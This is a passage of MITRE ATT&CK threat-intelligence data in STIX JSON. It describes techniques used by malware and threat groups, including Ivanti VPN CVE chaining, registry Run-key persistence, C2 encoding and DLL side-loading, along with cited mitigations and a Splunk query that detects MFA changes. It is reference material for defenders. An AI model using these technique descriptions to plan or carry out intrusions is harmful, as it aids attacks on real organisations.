2014)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cef6fec-e4eb-49eb-85db-880138f335bd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-17T14:52:20.340Z","description":"[Rover](https://attack.mitre.org/software/S0090) copies files from removable drives to C:\\system.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cf09dbc-7668-4c1c-8e57-01f9c082c80d","created":"2024-03-01T18:37:30.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Global Exploitation January 2024","description":"Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/"},{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:20:08.483Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors exploited CVE-2023-46805 and CVE-2024-21887 in Ivanti Connect Secure VPN appliances to enable authentication bypass and command injection. A server-side request forgery (SSRF) vulnerability, CVE-2024-21893, was identified later and used to bypass mitigations for the initial two vulnerabilities by chaining with CVE-2024-21887.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cf32fea-16cd-41cf-93f3-a47c1388abbc","type":"relationship","created":"2020-05-14T14:27:31.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2022-03-26T13:13:20.620Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called GetLogicalDrives to emumerate all mounted drives, and GetDriveTypeW to determine the drive type.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-20T18:28:20.860Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) encodes C2 traffic with Base64.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cf55e84-53d2-4ec9-aaed-1df38ea08af1","type":"relationship","created":"2020-05-08T20:55:28.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T20:56:07.282Z","description":"[VBShower](https://attack.mitre.org/software/S0442) used HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\[a-f0-9A-F]{8} to maintain persistence.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9cf6e55f-3014-4292-a393-9418c6e6b4a1","type":"relationship","created":"2020-12-17T15:24:12.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SolarWinds Customer Guidance","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."}],"modified":"2021-09-20T16:47:19.668Z","description":"Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cfd4317-bc53-4efe-b952-9b9f245701f9","created":"2022-07-18T22:59:04.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Okta Cross-Tenant Impersonation","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"},{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T13:54:28.782Z","description":"Monitor for the enrollment of devices and user accounts with alternative security settings that do not require MFA credentials for successful logon. Monitor for attempts to disable MFA on individual user accounts.(Citation: Mandiant Cloudy Logs 2023) Additionally, monitor for attempts to change or reset users’ MFA factor settings. For example, in Okta environments, the event `user.mfa.factor.reset_all` will trigger when all MFA factors are reset for a user. (Citation: Okta Cross-Tenant Impersonation) \n\nAnalytic 1 - Unusual registration of MFA devices, changes to StrongAuthenticationPhoneAppDetail properties.\n\nindex=\"m365_audit_logs\" Workload=\"AzureActiveDirectory\" Operation=\"Update user\" Actor=\"Azure MFA StrongAuthenticationService\"\n| search ObjectId!=\"expected_user_id\"\n| table CreationTime, Actor, ObjectId, IPAddress, ModifiedProperties ","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9cff1625-8af8-4337-8e8e-a4c0606b6381","created":"2023-01-30T23:22:52.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:08:09.314Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can use HTTP for C2 communications.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d035ede-612d-4919-9a69-0e4087e786cf","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","external_references":[{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal use of a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, monitoring for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running, may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)","modified":"2022-04-19T18:27:37.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d038aa7-af97-4f60-ad5c-f74d20200c18","type":"relationship","created":"2020-03-19T20:18:45.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-19T20:18:45.777Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit search order hijacking vulnerabilities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d047c5c-f46d-44e2-bb46-0dc0bc13e79b","created":"2024-05-22T22:39:11.158Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:39:11.158Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) contains two binaries in its resources section, MultiList and MultiWip. [MultiLayer Wiper](https://attack.mitre.org/software/S1135) drops and executes each of these items when run, then deletes them after execution.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d081347-3446-47a4-b5a9-d7a9d2d499e7","created":"2017-05-31T21:33:27.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d0eda8b-7696-4b22-a31e-6761e42bc2ae","created":"2021-02-16T21:02:48.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 BendyBear Feb 2021","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021.","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:54:23.926Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has encrypted payloads using RC4 and XOR.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d11c36e-e738-4d2a-98cf-f5f962a716ea","type":"relationship","created":"2021-08-24T20:03:36.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}],"modified":"2021-10-18T22:07:00.567Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) encrypts all strings using RC4 and bundles all functionality into a single function call.(Citation: ESET Kobalos Feb 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d1a9a04-6174-4aaa-8fac-43c965f0bd38","type":"relationship","created":"2021-10-01T20:57:16.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.131Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect process filenames and SID authority level.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d201245-16f4-4142-94ff-25136107d0f6","type":"relationship","created":"2020-11-19T18:02:58.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.591Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate open ports on a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d201e67-fc71-41a1-9d92-b8d743d86a12","created":"2024-05-20T20:42:30.392Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:42:30.392Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used native tools and processes including living off the land binaries or “LOLBins\" to maintain and expand access to the victim networks.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d239ea5-b191-4e30-9d0c-fd5ee69e621d","created":"2022-02-02T22:02:29.899Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has used PowerShell scripts.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:19:46.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d239fc5-5d40-4991-ae41-761686ab43a2","type":"relationship","created":"2021-04-13T20:27:51.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."},{"source_name":"Google TAG Ukraine Threat Landscape March 2022","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."}],"modified":"2022-03-16T18:38:10.452Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used spearphishing attachments to deliver initial access payloads.(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)(Citation: Google TAG Ukraine Threat Landscape March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d28bf78-0fde-4efd-85b2-fc1960f1b386","created":"2022-07-25T18:36:59.018Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has the ability to search the compromised host for files.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:36:59.018Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d293200-1425-4a77-8a2e-75a1ffb78310","type":"relationship","created":"2021-09-21T15:45:10.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.388Z","description":"[Turian](https://attack.mitre.org/software/S0647) has the ability to use a XOR decryption key to extract C2 server domains and IP addresses.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d2bfb09-9cc8-4b4b-a555-3bac7999d236","created":"2024-06-10T21:09:11.238Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T21:09:11.238Z","description":"(Citation: Secureworks GOLD IONIC April 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d2dfa0b-8370-4873-9b8f-4366e61be715","type":"relationship","created":"2021-02-22T17:11:18.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T17:11:18.401Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.(Citation: Trend Micro Waterbear December 2019) 